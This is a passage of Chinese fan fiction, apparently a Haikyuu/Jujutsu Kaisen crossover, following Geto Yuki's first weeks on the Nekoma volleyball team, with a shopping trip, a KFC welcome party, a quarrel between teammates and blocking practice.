“家里之前用的牌子,这里似乎没有。” 黑尾铁朗问了品牌和包装,蹲到货架前帮着一起找了起来。 “……确实没有。”黑尾伸手拿起一瓶绿色包装的面汁,“这是我家常吃的,甜味不会太重,做面条和盖饭都很合适。” 在黑尾铁朗的推荐下,夏油幸的购物车里又多了据说味道不错的味噌、柑橘醋酱油和青紫苏沙拉酱,都挑了小容量的。 “……”握着小推车,夏油幸表面不动声色地跟在鸡冠头身后。 黑尾前辈……实在是太擅长社交了。 这种类型的家伙,无论是推销什么,从日用百货到房子……甚至危险的东西,应该都会有人愿意买账吧。 三人暂时分开行动。 夏油幸要去冷藏区,黑尾铁朗和孤爪研磨则说自己要买些日用品。 夏油幸很快选好了牛奶,推着推车去日用品区寻找二人。鸡冠头和蘑菇头的组合分外显眼。 “这个不太好用。 ” 夏油幸握着推车把手,在货架前站定。 “怎么了?” 这一声,不但蹲在货架前的两人同时抬头望着他,就连旁边一名陌生的口罩少年的手也顿了顿。 “你们在挑除菌喷雾,是要用在训练服上吗?” “虽然不愿意承认,不过作为运动少年,很容易臭啊。”黑尾铁朗无奈道,“就算不管别人的鼻子,为了维护我的形象,这款大品牌最新推出、除菌消臭一步到位的喷雾,也非买不可。” ……这家伙。 夏油幸再次为学长的天赋一愣。 买个喷雾都像在说广告词似的。 “没错。”夏油幸赞同地点点头,“不过,买旁边紫色那款吧,用起来没有味道。喷雾的香气和汗水的酸臭混合到一起,是生化武器级别的。” “……”货架前的三人一齐抖了抖。 虽然不知道最左边这位陌生人为什么如此配合,不过夏油幸不是会主动搭话的类型。 他看着黑尾铁朗,后者低头确认着瓶身上的产品描述:“这款标注了无香。有香型是绿色的那款,我特意放下了。” “虽然黄色的这款是无香型,可是喷到护膝上,还是有股奇怪的味道。”夏油幸道,“紫色的那瓶你看看,是不是写了‘香味不残留’?” “……真的。”黑尾铁朗将三款瓶子并在一起比了比,“不过……你是怎么知道的?” 夏油幸道:“上周的新品,组合装有300円的折扣。” 两人手中的黄瓶子都换成了紫瓶子。 旁边的陌生少年也配合地换成了紫色。他起身离开时,额前卷曲的黑发随动作轻轻一晃,露出右眉上方的两颗痣。 “……那个人似乎有点眼熟啊。”黑尾铁朗握着喷雾,若有所思。 “前辈真是交友广泛啊。” “哎呀,我就当你在夸奖我了。” 这段关于陌生人的小插曲很快被三人抛之脑后。 这家超市位于一个大型商场的一层,上面四层则有各种餐饮与服饰店。在黑尾铁朗的力荐下,夏油幸提着一袋东西,跟着两人吃了四个冰激凌球,最后还莫名其妙地打包了一盒。 “……”夏油幸抱着店员递过来的保冷盒和找零,静默在店门口。 “别想那么多。”黑尾铁朗拍了拍后辈的肩膀,“好吃吗?” 夏油幸:“……好吃啊。” …… 夏油幸提着好几个袋子,步履平稳地走向自家门口。 与此同时,一辆黑色的小轿车在夏油家门口停下。 “……小幸?” 夏油杰同学弟以及辅助监督道过别,在汽车尾气中,一转过身,看到的便是大包小包站在栅栏前的自家弟弟。 “你……”目光落到弟弟的两只手上,夏油杰一愣,“你买了好多东西。” “嗯……”夏油幸一边拒绝掉哥哥伸过来想要接袋子的手,示意自己完全不觉得重,一边道,“尼桑,难道我是一个很容易被说动的人吗……” 不知道弟弟发生了什么,夏油杰回应道:“当然不是。” “尼桑……”夏油幸晃了晃,顺势靠到哥哥胸口,“如果有一天,我没有经住诱惑,跑去打小钢珠,你一定要……” “……”夏油杰扶住弟弟的肩膀,“你这又是从哪个电视剧上看到的?” 另一边。 商场的烤肉店里,孤爪研磨道:“小黑,你为什么要……” 明明已经将午餐的便当买好,却在离开时忽然说想要吃烤肉,而且没有询问夏油君要不要一起,这并不是小黑的作风。 对面,黑尾铁朗用夹子拨着滋滋冒油的烤肉,道:“我忽然想到一件事。” “什么事?” 黑尾铁朗唇角一扬。 “后辈似乎到现在还没发现……我们就是他的邻居啊。” 19.第 19 章 “从今天开始,你们就是音驹排球部正式的一员了。” 周一的下午,部长加藤站在排排站的一年级前方,道。 四个一年级手中正抱着的大包小包,则是自己全额出资的音驹排球部统一服装,从外套到长袖短袖再到长裤短裤,一应俱全。 音驹排球部没有经理,日常杂务由队员们集体分担,稍正式些的事情则是交由队长负责安排。给新人发完队服后,加藤没有要归队的意思,而是又从旁边的纸袋里拿出一件衣服。 四个一年级的目光跟着加藤的手指,从纸袋口一路移动到半空中,一件球衣在眼前抖开。 红色占据了大部分,领口和侧边点缀了黑色。最令人瞩目的,是正中央白色的、大大的“1”,以及在数字正上方的两个大字。 ——“音驹”。 这是排球部正式比赛时的球衣吧。 夏油幸想。 只能由列入比赛名单的球员拿到的、带有背号的球衣。 “这是我的。”加藤道。 “如果你们中有人能拿到正式的球衣,带回家好好保管。不要弄丢。” 一言激起一层浪,山本猛虎明显一顿,其他三人面上则一派淡定。 石井教练道:“今天做些基础训练,三年级的,多带带一年级。” 虽然没有具体说明是哪几个三年级,不过想也知道,石井教练所指的,一定是四个三年级的正选。 加藤朝教练点头。 有石井教练的特意叮嘱在前,这次的部活成功从三组减到了两组——正选和一年级,以及其他。 “唉——” 夏油幸似乎听到了一声长长的叹息,来自非正选的高年级队伍。 三年级没有多说话,在率领一年级做完热身后,又将孤爪研磨安排到网前托球,快速练了几轮扣球。 “你知道吗?” 排在夏油幸身后的小个子自由人道。 “我不知道。” 夏油幸诚实地回答。 “教练正在考虑一年级的背号。”夜久卫辅眨眨眼,“这就意味着,教练打算将你们写到关东大会预选赛的名单上,至少也是替补。” “前辈的背号是哪个?” “我是10号。” “诶,这么说那个是真的吗,”夏油幸目视着前方,嘴唇以微小的幅度一张一合,“背号有不成文的规矩,1号是队长,4号是王牌,10号或12号是自由人什么的……” “嘛,除了队长本人,也没有谁会去碰1号。”夜久卫辅悄声道,“我凭喜好做事。我是10号。” “10这个数字对前辈有特殊意义?” “没有。我喜欢的数字在20开外。” “哦。” 由两人构成的小块空气安静下来,和其他人周身的静默融为一体。 没一会儿,在排球的砰砰啪啪声中,夜久卫辅压低的声音再度响起:“还有一条不成文的规则,正选队员的背号一般会在10以内的数字中选择。当然,替补队员也可以有个位数的背号,正选也能是十几号。” 夏油幸点了点头以回应,不过并不明白前辈说这些的用意。 夜久卫辅见点头幅度知雅意,对着这颗没有秃头之忧的脑袋进一步分享:“1到10的数字,我们排球部还有一个是空着的。8这个背号,你觉得怎么样?” “这种事,都可以。” “你会对4号比较感兴趣吗?” “如果我喜欢4,就会喜欢8。8是两个4。” 听到出乎意料的答案,夜久卫辅没忍住笑了一声。 这一笑,这一轮扣球结束、正站在网前的加藤,朝队伍投来冷冰冰的目光。 夜久卫辅反应极快地将自己的脑袋回正,而夏油幸在这场悄悄话中,则一直以平静的表情盯着前方福永招平的后脑勺。 加藤没能抓到证据,最后皱了皱眉头,冷声道:“严肃点。” 夏油幸和夜久卫辅严肃地完成了扣球。 “自由人也要练扣球吗?”短暂的休息时间,夏油幸道,“就像黑尾学长作为副攻却很擅长接球一样。” 夜久卫辅摆摆手:“我没有在正式比赛中这么做过,自由人想要扣球的话,限制太多了。不过,练习的时候尝试一下,也算是热身了。” “夏油。” “嗯?” “你的话,进攻性的东西都十分擅长呢。不过,有些东西是无法舍弃的。音驹的地板防守是传统,接球一定要多多练习,当然拦网也是。” 夏油幸点点头:“我知道了。” 夜久卫辅挠挠头:“那个,你不觉得我在仗着前辈的身份做指挥就好。” 想了想,他又道:“或许你会以正选的身份参加四月底的关东预选赛,也说不定呢。” 就在这时,一道喊声打断二人对话。 “喂,一年级的——” 三年级的山田将手作扩音状抵到嘴边:“快去捡球,别耽误训练——!” 夏油幸朝离他最近的一颗球走去,夜久卫辅也开始捡球。经过几轮的上网扣球训练,无论是蓝黄的MIKASA还是红绿白的molten,都散落得到处都是。 之前,一年级和二年级一块训练的时候,都是边闲聊边一起捡。这次场边有了监督员,体育馆的地板上响着跑动的脚步声。 “喂,跑快点儿——” 声音在夏油幸身后响起。 夏油幸用余光往后一瞥,山田的目标果然是自己同级的蘑菇头,孤爪研磨君。 之前,教练有提过大致的一周训练安排。晨跑这种东西,每周的月曜日是基本会有的。这天的其他训练会少一点,尤其如果周末刚打过比赛,会将时间留给总结复盘,以及针对自身暴露的问题进行专项训练。 而孤爪研磨君又一次在晨跑中掉队,成为最后一个抵达终点的部员,三年级的眉头明显地皱了起来。 说起来,参加体育部的一定擅长运动,参加吹奏部的一定从小就会乐器……诸如此类的东西,为什么总有人会这么觉得? 夏油幸的思维漫无目的地发散了起来。 擅长运动的也可以忽然去唱声乐,运动神经不发达的人也可以参加体育部,随意尝试,由兴趣引领,部活这种东西不就是为此而存在的吗? ——啊,忽然好想吃哥哥做的金枪鱼饭团,配大杯的冰可乐啊! “砰。” 夏油幸猝不及防,捂着肩膀身体一晃。 “啊。” 面前闪过一块蓝色的物体,落在了地上。 夏油幸揉了揉右肩,朝前方低头一看:“……” 是个大活人。 夏油幸吓了一跳。 “孤爪君。”夏油幸蹲下,“抱歉,我刚才在想事情。你有哪里不舒服?” 幼儿园安全教育讲座上说了——摔倒的人不要立刻扶起,以免造成二次伤害。 孤爪研磨捂着胳膊,摇摇头:“我也有责任,刚才一直低着头看球……我没事。” 夏油幸确认这位身形单薄的 同期没有哪里散架后,伸手把对方拉起来:“要不要去保健室看看?” “不用了。”孤爪研磨摇摇头。 “——用。”一道声音毫不突兀地插了进来,“去一趟吧。保健室。” 黑尾铁朗站到两人面前。 顺带,鸡冠头没忘笑着朝场边——四个正选三年级站立的方向挥挥手:“我带一年级去保健室看看,没有防备地这么撞上一下,可不一定轻呢。” 加藤眉毛一动,难以置信地朝黑尾铁朗看来:“为了这么小的事打断练习,专程去保健室?” “嘛,幼苗是需要被呵护的。” 加藤直接穿过球场走过来。 “谁受了需要去保健室的伤,袖子卷起来,让我看看。”加藤把嘴唇抿成一道直线,“还是想趁机轻松轻松?” 黑尾铁朗依旧笑眯眯:“说到放松,新生们的入部欢迎会是不是还没办?正巧,今天刚给后辈们发了统一的队服。” 在这场对话进行时,场内,一、二、三年级的队员已经朝这里聚拢。 闻言,围在旁边的众人纷纷开始发表自己的意见。 一、二年级不约而同地支持举办欢迎会,商议内容无比顺畅地直接滑向“去哪里举办”。 “便利店吧。” “呜哇——好寒酸!一定要在后辈面前这样丢脸吗?!” “去吃大阪烧!” “这种东西什么时候吃都可以啦!” 最后,欢迎会的地点定为肯德基——全体成员AA制。 “……肯德基才是什么时候都能吃的东西吧?” 这声疑惑自动消失在加藤可以制冷的脸色中。 最终,加藤什么也没有说。 一场战争,悄然瓦解在七嘴八舌的争论中——happyending。 三年级的其他三个正选拍着加藤的肩膀回了球场的另一边,海信行朝那处看了一眼,转回视线道:“我差点以为你们要大吵一架了。” “一般来说,吵架算是消弭误会和隔阂的手段之一。”黑尾铁朗道,“但在刚才的场景并不成立。” “只要别打架就行。”三年级的丸山道。 虽然是最高的年级,不过进入音驹排球部以来一直以替补的身份默默无闻地存在着,尤其同级的二传手西村接替前辈成为正选后,丸山在排球部说得最多的话是沉默。 不过,如果局势演变成打架,他一定会作为前辈出面制止的。 “而且,我不擅长打架。”丸山补充道。 其他人也纷纷表示自己不擅长。黑尾铁朗和海信行露出平和的笑容,夜久卫辅挺起胸膛:“我的战斗力跟随局势而变。” 表过态的高年级们将目光齐齐投向四个一年级。 对事情怎么演变成这样还没反应过来的山本猛虎道:“……还可以吧。” 众人将目光聚焦向下一个目标——当事人之一孤爪研磨。 蘑菇头情不自禁地往后缩了缩:“……一般。” 他们想也是。高年级们点点头。 排在第三位的福永招平呆呆地眨眨眼睛,收获了前辈们的揉脑袋攻击。 最后一位—— 夏油幸朝球场的另一边看了一眼:“打架这种事,我不会怕的。” “——要看好的就是你啊!!” 乌乌泱泱的一群人扑了上来。 夏油幸灵活躲开。 对打架的特长,已然用事实证明了。 毕竟闪避,也是战斗的要素之一啊。 20.第 20 章 部活结束,排球部一行人到达肯德基的时候,店内没有多少客人。 三个年级几乎坐满了一整排沙发卡座。虽然是AA,不过,高中生们没有顾忌地点着汉堡鸡块和薯条,毕竟十几个正值成长期的男子运动部员的胃,可以装下一头怪兽啊。 夏油幸对着菜单点了一份小食套餐,外加单点大杯冰可乐和卷心菜沙拉。站在他后面的海信行以为后辈在矜持,便道:“这么一点够吗?” 夏油幸挪到旁边让学长点餐,道:“我对肯德基一般般啦。鸡肉稍微有点柴,之类的。” 海信行点点头,道:“下次聚餐换个地方吧。” 夏油幸对这种集体活动不是很感冒:“排球部经常聚餐?” “也不算很经常。不过打完正式的比赛后,赢了就去吃一顿,淘汰了也去吃一顿,也挺顺便的啦。” 几张桌面很快被摆满,按照三年级、二年级、一年级的顺序,众人从左到右依次坐好。 夏油幸和一年级的其他人同坐一张四人桌,左手边挨着二年级的桌子,离他最近的是杉山,这个开学时姗姗来迟、同时还在生徒会任职的陌生前辈。 杉山很照顾后辈地将自己桌子上的薯条和鸡块往一年级的桌面上挪了一些。夏油幸咬着鸡翅,一边喝可乐,一边发呆,一边和哥哥发消息。 得知对方今晚会很晚回来后,那只金色眼瞳里的光暗了几度。 不过,杉山显然误会了什么,凑到夏油幸的左耳边,小声道:“别怕,加藤前辈他们不会做什么过分的事的。” 夏油幸点了点头。 因为夏油幸没有做出什么解释,杉山便更进一步地认定部里的新人是怕遇到权力骚扰事件,贴心地压低声音:“三年级的那些前辈看上去很可怕吧?安心啦,我们音驹自建校以来还没发生过什么恶性到足以上报道的欺凌事件。不过体育社团在这方面,确实够让人胆战心惊的。” “之前有一所学校,已经打入全国大赛了,却被文春爆出队内暴力问题,最后只能在第二轮打道回府。” 说着,杉山观察着夏油幸的脸色,见后辈脸上没什么表情,疑惑地道:“诶,你不知道吗?这是东北的一所高中,夏油你就是东北人吧。” 夏油幸摇摇头:“我不太常看新闻。” 杉山笑道:“算了。总之,如果前辈他们对一年级真的太过分,我也不会袖手旁观的。” 杉山的声音没有扩散出去,不过属于一年级的四人小桌连听带猜也知道内容了。五只可乐杯在半空碰在一起。 诚如杉山所言,排球部三年级的学长并没有在这场新人欢迎会中做出什么扰乱气氛的事——当然,也没有发作的理由。 今年音驹排球部入部的四个人,除了热血的山本猛虎以外,其余三人至少表面都十分冷淡寡言。连带着坐在他们之中的山本猛虎左瞧右瞧,也找不到一个合适的谈话对象,只能埋头大吃特吃,用鸡肉和土豆填满自己的嘴巴。 平静的氛围自这张小桌蔓延到其他桌子上,二、三年级的部员也专注吃喝,时而笑着交谈两句。一时之间,居然显得无比和谐,远胜于在体育馆练习的时候。 就连加藤那张仿佛总是被人欠钱不还的脸,也终于追讨回一部分欠款一般。 夜久卫辅忍不住悄声感慨:“哎……下次他们再差点儿吵起来的时候,干脆买点儿吃的塞过去吧。” 坐在他对面的黑尾铁朗意味不明地“哼哼”笑了两声。 第一次聚餐就这样平淡无奇地结束了,欢迎会的“欢迎”二字以前辈们集体鼓励一年级好好练球作为体现。最后的最后,大家明算账完毕,以加藤清点了一遍人数作结,十几号人在肯德基门口道别,扭头各回各家了。 夏油幸靠在电车长条座椅的后背上,戴着耳机听歌,浑然不知就在不远处,同在排球部的黑尾铁朗和孤爪研磨也待在这趟车上。 孤爪研磨一边低头打游戏,一边对自家幼驯染偷偷摸摸的行为非常无语:“……一定要,这样吗……” “你不觉得很有意思吗?”黑尾铁朗坏笑。 孤爪研磨:“……” 不知道要闹哪样,不过为了和夏油幸保持距离,他们不得不放慢步伐,倒也给他低头打游戏创造了一些聊胜于无的方便。 “随你吧……” “嗯……”黑尾铁朗模仿着好友说话的语气。 夏油幸两耳不闻窗外事地回到家中。 二楼的沙发和电视机之间,有非常宽裕的距离。保护眼睛是一方面,不过更大的作用是,夏油幸可以在沙发前的那块巨无霸广阔与舒适的地毯上自由地活动身体。 夏油幸十分熟练地做了一套赛前热身动作,又咔咔咔对着空气踢了几脚,最后十分悠闲地对着电视机上督促御宅族关注身体健康的锻炼操跳了起来。 最后,趴在地毯上睡着了。 “啪。” 明亮的顶灯被按掉,客厅骤然黑下来,属于午夜的休憩气氛终于来到。 晚归的夏油杰用手机打着微弱的光走近弟弟,刚走进地毯,悄无声息地将弟弟转移到卧室里的打算便被扑灭了。 夏油幸睁开眼睛,在看清是哥哥的那一瞬又闭上了,转而朝空中举起两条胳膊。 夏油杰干脆将弟弟捞起来:“你怎么睡在这里?” 夏油幸打了个哈欠,含糊地咕叨了几句,完全听不清内容。 夏油杰将弟弟放到床上盖好被子,转身要出去,忽然想到了什么,低头对弟弟道:“对了,小幸,这周末我们去拜访一下几家邻居。” “啊……”夏油幸的脸瞬间皱巴起来,“为什么突然要……我们不是已经因为懒惰而跳过这个没有必要的流程了吗……” “听说,这附近最近发生了一起入室盗窃事件。”夏油杰道,“我想了想,毕竟你是要长期待在这里,无论是让邻居记住你的脸,还是你记住邻居的脸,都有益无害。” “啊……”夏油幸发出一声长长的困倦的叹息,“哪个小偷来我们家,也算他够会选地址的……” “晚安。”夏油杰把被角往上拉了拉,“我也要去休息了。” “晚安,尼桑。”夏油幸用手拉住哥哥的指尖,“如果真的做了嘉宾,我们上演一出《小鬼当家》……用你的咒灵……” “直接丢出去好了。”每天打打打的夏油杰对在家里重复工作内容没有兴趣,“你有兴趣动手的话,正当防卫一下也可以。” 这次是真的说晚安了。 第二天,夏油幸精神抖擞地去了排球部。 “哇,你这身材真够不错的。” 更衣室里,已经和一年级熟悉起来的杉山忍不住看了两眼后辈的腹肌。与健美比赛中那些抹得锃光瓦亮、沟壑纵横的腹肌不同,后辈的腹肌薄而有型,甚至比他自己的腹肌要更线条清晰一点! 明明是前辈,却在这方面输给了后辈啊,可恶! 杉山情不自禁地伸出触摸之手。 快要触及的一瞬,指尖仿佛掠过一阵风——近在咫尺 的腹肌消失了。 “哇,夏油。”杉山没忍住问出埋在心底的疑惑,“说真的,这到底是天赋,还是你接受过什么专门训练,尤其你打球的时候——” 杉山做了一个击球的动作:“感觉动作都更顺畅。” “没什么特别的。要说的话,之前练过别的运动。” “什么?” “比方说,空手道之类的。” 杉山悟道:“难道我也应该去报个空手道兴趣班?” “你快别了。”一直在旁边听二人谈话的原田终于忍不住开口了。 原田的柜子就在杉山旁边,两人同为二年级替补,在冷板凳上坐出了深情厚谊。此刻前者伸出左手,一巴掌拍在后者肚子上,发出清脆的“啪”。 “先减肥吧。” 杉山大叫着扑了过去,又因为训练时间近在眼前而没法酣畅淋漓地大战一场,只能恨恨地勾住原田的肩膀,和夏油幸一起,三人离开更衣室,朝场内走去。 今天的部活完成统一跑步和热身后,进入了自主分组练习。站在场边的石井教练,见到了一幅前所未见的景象。 并不是之前持续了一周的三派分立,也不是昨天他明确要求之下勉为其难的混合训练,他的部员们,自发地、创造了破天荒的新分组。 二年级的正选去和三年级组队了,二年级的非正选和四个一年级组队了。 自场上响起的、不断的排球撞击声萦绕在石井教练耳边。在高兴之余,石井教练内心也不免困惑起来。 在他的记忆中,昨天的部活并没有发生什么足以让二年级替补和一年级亲近起来的事。 唯一能解释的,只有他不想让大家拘谨而没有参加的欢迎会了。 肯德基的功效……难道如此之大? 麦当劳派的石井教练深深地陷入疑惑。 不过,和谐当然是第一位的。 夏油幸和杉山进行双人对传训练中。 这是排球部活中最基础的训练之一,做起来十分枯燥无味。排球不断地在两人的手臂上来来回回,在空中划出的抛物线无论再怎样优美,上到一百次也足够让人不耐烦了。 远离了赛场,没有了灵活出招的对手和不断变化的局势,也并不是什么需要谨慎对待的高难度技术,夏油幸一遍又一遍啪啪垫着小球,内心早已神游天外。 对面的杉山也露出了无聊的死鱼眼。即使每一球仍然稳稳落回对方身前。 就在这时,十分均匀地分布在这块场地上的三组练习小队,属于孤爪研磨和山本猛虎的那组,忽然出现了不和谐。 山本猛虎不再与福永招平、夏油幸站在同一条线上,而是朝前扑去,整个人跌到了地板上。 队形被打乱了。 “唰——” 四双大眼睛迅速聚焦。 “……”山本猛虎从地上爬起来,脸上的表情显然不怎么高兴。 “发生什么事了?”夏油幸问福永招平。后者比他离当事人更近一点。 福永招平这次总算没再说谐音梗,而是十分明确地道:“孤爪用了吊球,山本摔倒了。” 关注案情的杉山忍不住追问:“孤爪突然用了吊球?我看他平常总是一个人玩手机,倒不像会主动挑衅的人。” 福永招平想了想,“砰”了一声。 “是说,山本用力拍了一球,孤爪用吊球回击了?” 福永招平竖起大拇指。 杉山点点头,脸上露出了然于胸的表情。 21.第 21 章 “哇啊?!练得相当起劲嘛——” 高年级的场地,和黑尾铁朗组队练习的夜久卫辅被一年级的喧闹吸引。 “喂,我们也在朴素的对传中加点儿复杂的东西吧!” “……”黑尾铁朗嘴角一抽,也将目光投向一年级所在的地方。 这场小骚动并没有演化成大风暴,山本猛虎默默地捡起球,继续和孤爪研磨对传起来。 此情此景,站在一旁的杉山和原田都选择把话吞进肚子里。 这两个人发生什么事了? 这组训练一结束,杉山便借着喝水的机会,将两个一年级拉到一旁,小声八卦起来。 “——和丸口商的练习赛,是不是发生什么事了?” 承载期盼目光的夏油幸道:“原田前辈也去了吧?”他没有说吗? 一旁的原田正在捏着毛巾擦汗,闻言往后缩了缩:“……饶了我吧。” “这家伙简直是闷葫芦一个啊!”杉山眼冒火星。 夏油幸道:“我没发现他们有什么异常状况。” “既然这样,两个人为什么要用排球打架呢?”杉山很困惑。 “答案很简单。”夏油幸微微一笑。 没有卖关子,他直截了当道:“山本君和孤爪君自从来的第一天起,就相性不合啊。一个总是很热血的模样,一个却可以一直不说话。山本君希望从孤爪君的嘴巴里听到更多的话语,于是采取了挑衅的手段,结果却弄巧成拙……事情就是这样。” 杉山嘴角抽搐:“……我不愿相信。” 他将希冀的目光投向此刻唯一可以依靠的存在。 接收到信号的福永招平动了动嘴唇,缓缓道:“……山本的话,看孤爪有些不顺眼吧。” “诶——” 三双眼睛汇聚了过来。 福永招平捧着水杯的手顿时紧了紧。 不过,无需他继续解释,其他人已经自行补充了起来。 “说起来,我忽然想到,”原田第一个开口,“打练习赛的时候,山本确实有几次看着孤爪……” “比赛的时候看二传手很正常吧。”杉山举起食指摇了摇,“我想到一个——晨跑的时候,孤爪总是吊在最后的那个,山本好像并不喜欢这一点呢。” “——果然是相性不合啊。”夏油幸作出总结。 “——你也太概括了吧!”杉山握起右拳道,“总之,维护后辈们珍贵的友谊,也是前辈的责任之一啊!” “前辈,不要擅自背负上不存在的东西。” “夏油你这家伙!!” 一番打闹后,默默站在一旁的原田忽然道:“山本的话……还没有从上周那场练习赛里恢复过来吧。” “插话。”杉山举起手,“是‘前天’!别说得像已经过去很久啊!” 原田:“……” 原田:“……总之,山本此刻正在焦躁着吧……想要尽快融入队伍,和大家好好配合,打出有力的进攻……” “这种事不是着急就能做到的。”杉山摇摇头,“算了,只能多注意注意了。” 接下来的训练中,杉山果然开始格外留意山本猛虎。后面换搭档时,他还主动和山本分到一组,让孤爪研磨去和夏油幸练习。 但山本猛虎的认真程度显然超过了杉山的预估。 所有球都打得砰砰作响,只留短暂的调整时间。器械训练时,往杠铃上加更重的配重片……甚至部活快要结束时,还要独自去夜跑。 这样的加练程度,让二年级不得不纷纷开口,制止他训练过量。 “山本,”海信行递过去一根毛巾,示意后辈擦一擦额头上的汗珠,“过度训练一样会受伤的。” 几天后,排球部的训练快要结束时,夏油幸正和其他人一起拆着球网,身后忽然响起一阵争吵声。 他一扭头,发现山本猛虎和孤爪研磨正站在不远处。两人之间隔着短短的凝固空气,正在对峙中。 蘑菇头脸上的表情从没像这一刻一样生动过。 “——既然你明白问题在哪儿,那为什么只归结成‘斗志’呢?!” 莫西干头皱紧眉头:“说白了,就是我在训练中付出的努力和内心的斗志还不够!” 「斗志」这个词,再次出现了。 “孤爪看上去有点生气啊。”杉山凑到夏油幸身边。 “嗯……”夏油幸疑惑地蹙眉,“他们两个要打架吗?” “别吧……”杉山瘪瘪嘴,“部长他们还没走呢。” 孤爪研磨和山本猛虎的争吵还在继续。 听着听着,杉山拧起眉头,问道:“……‘明明有几个球能追到’,他们两个说的是什么,练习赛的事?” 夏油幸想了想:“是吧。不过,打了几场下来已经很累了。即使追得到,也能预想到会是对方的机会球,或者把比赛拖进更长的回合……” “哇,比赛中可不能这样,我是说正式比赛。”杉山有点理解山本了,“哪怕只让一分从手指漏出去,就算当时觉得没什么,离开赛场后只会加倍后悔。” “你们两个别聊了,”原田的声音自对面响起,“那边都快打起来了……” 夏油幸和杉山顿时将目光投过去。 望着气势汹汹、狠狠揪住彼此衣领的两个学弟,杉山吞了吞口水:“呃……怎么办,我们过去……?” 夏油幸摇摇头:“就让他们打一架吧。” “……” 杉山无助地左右张望,发现平日里最惯常督促一年级的二年级正选三人组就站在不远处,似乎在观望中,而三年级已经开始从更远的地方朝这里走来。 “……” 杉山一时没了主意。 就在这时,一道灵活的身影从一旁窜了过去。 “哗——” 半桶凉水兜头泼在两个已经扭在一块的一年级身上。 “热血过头——陀思妥耶夫斯基。” 福永招平抱着空荡荡的水桶,眨眨眼睛。 “啥……”山本猛虎呆呆道。 孤爪研磨也愣住了:“……” 三个人就这样站成三角,怔怔地凝望着彼此。之后,两个人又忽然一前一后地笑了起来。 “……”旁观着的杉山情不自禁地捧起脸,“好像青春漫画里的剧情啊,这就是友情的开始吧……” 这次事件以加藤勒令山本、孤爪、福永三人把被泼湿的体育馆地板彻底打扫干净告终。 周五,训练开始前,石井教练站到队伍前方,身旁还站着一个短刺猬头的男人。 夏油幸认出来了,这正是之前和丸口商打练习赛时,坐在替补席上的那个人。 而排球部里还有近一半人没见过这个男人,窃窃私语声顿时从夏油幸身后响了起来。 不论学生们怀有怎样的猜测,石井教练面上仍带着微笑,道:“这位是直井学教练。” ——教练?! 轻飘飘的两个字砸进部员们中间,顿时不少目光开始互相传递了起来。 “直井教练高中时代就是音驹排球部的一员,今后会和我一起指导大家。” 在石井教练的目光示意下,排球部众人一齐朝直井学鞠躬:“请多指教——” 石井教练点点头:“今天还是照常训练。周末我们和枭谷约好了练习赛。” 接连两个重磅消息落下来,队列里的气氛顿时躁动起来。 “和枭谷的练习赛,要好好对待哟。”隔着球网,黑尾铁朗道。 夏油幸点点头:“一年级也会去吗?” “嘛,毕竟枭谷就在东京,多带一点人也很方便。” 夏油幸若有所思:“枭谷,是很厉害的学校。” “是啊。”黑尾铁朗笑道,“面对的是你,还是得先问一问——‘木兔光太郎’这个名字,你有听说过吗?” 不出所料,夏油幸摇头。 黑尾铁朗一副果然如此的表情,干脆从头给后辈介绍起来。 “与岩手县不同,东京的春高名额比较特殊。除了固定的两个代表名额以外,因为全国大会就在东京举行,还会再多一个「举办地代表」的名额。不过,真要说现在最现实的目标,大概还是第三个席位。至于前两个,多半会被井闼山和枭谷包揽啦~” “我们是东京第三么。” “……我倒是很想点头。”黑尾铁朗注视着后辈淡定的脸,“为了达成这个目标,加油吧。” 夏油幸似乎对这个话题很感兴趣:“上一届春高,音驹是举办地代表吗?” “说不定今年会是。”黑尾铁朗神色轻松,“话虽然这样说,不过我们音驹已经四年没有打入全国大赛了。” 夏油幸顿时对东京高中排球竞争的激烈程度有了认识:“音驹排球部的实力并不差,还有全国级的教练……” “等一下,全国级的教练?” “嗯。不是说音驹排球部有一位全国级的教练吗?” “你不会是因为这个才考过来的吧?”黑尾铁朗忍不住道,“如果我没有猜错,你听说的‘全国级的教练’,应该是猫又教练。不过,他在几年前已经因为身体原因引退了。” “是在考虑加入哪个社团时,有人这么介绍的。”夏油幸若有所思,“这么说,是我误会石井教练了。” 黑尾铁朗摆摆手:“猫又教练和石井教练并不是同一类风格的人。” “诶,黑尾学长见过猫又教练?” “算是吧。”黑尾铁朗露出老神在在的微笑。 “那位木兔,又是什么样的人?” “主攻手,和你打同一个位置。”黑尾铁朗道,“如果和他一起训练,说不定能学到很多东西,不过……算了。” 黑尾铁朗不知道想到了什么,忽然感慨了起来:“比赛场上,心态还是很重要的嘛。这是你的优势哦,夏油。” 夏油幸不知道他在说什么,但是点点头。 “好了好了,不聊了。”黑尾铁朗拍拍手,“为了让你在这周末的比赛中充分发挥,我们来点儿针对性的 训练吧?” 说着,他朝另一边挥手:“喂,研磨——” 孤爪研磨抱着球走了过来。 “研磨,拜托你给他托球,我来拦网。” 孤爪研磨点点头。 安排好孤爪研磨后,黑尾又朝山本猛虎和福永招平挥手,将他们两个也叫了过来。 夏油幸站到了球网一侧。 黑尾、山本和福永则在球网另一侧排开。 “三人拦网——你随便朝哪里扣球。” 黑尾铁朗露出挑衅的大白牙。 夏油幸不为所动。 孤爪研磨将球托起,夏油幸随即助跑起跳。对面三人判断着击球点,迅速向中间合拢,几乎同一时间,在球网上方竖起拦网。 不过—— “啪。” 夏油幸顺利地将排球扣到对面。 “哇,打得很轻松嘛。”黑尾铁朗笑道,“刚才是哪里露出了破绽?” “手臂之间的空隙不小。”夏油幸道,“用点力就能扣过去了。” “是这样。”仿佛就在等待这个失误,黑尾铁朗露出满意的笑容,点点头,对他身旁的山本猛虎和福永招平讲解起拦网来。 “拦网的范围要尽可能地大而灵活,但指的是手掌和手指,不是要将两条胳膊分开,这样留下的只有破绽。” 说着,黑尾铁朗举起两只手臂演示了起来。 “尤其是肘部和前臂,不能跟着向外散,不要让对手看到能够扣开的希望。手指分开,要像这样——” 黑尾铁朗将手腕往前压:“不要将指尖翘起来,尤其不要往后仰。” 随着黑尾铁朗的讲解,两个一年级脸上露出认真的神色。 夏油幸明白了,黑尾学长这是打算一石四鸟。 如果他扣球成功了,学长就给福永和山本讲拦网的要诀。如果他失败了,学长就给他讲怎么攻破那种拦网。同时,孤爪还可以调整托球。 夏油幸没有让属于他的小课堂来得太快。 “啪——” “砰——” “啪——” 随着一球又一球扣下,夏油幸和孤爪研磨的配合也越来越进步。研磨逐渐根据对面三人的站位,有意调整托球的高度和离网距离。随着熟悉,排球给得也越来越高,夏油幸迎球跃起,有一次甚至直接从拦网的指尖上方将球打了过去。 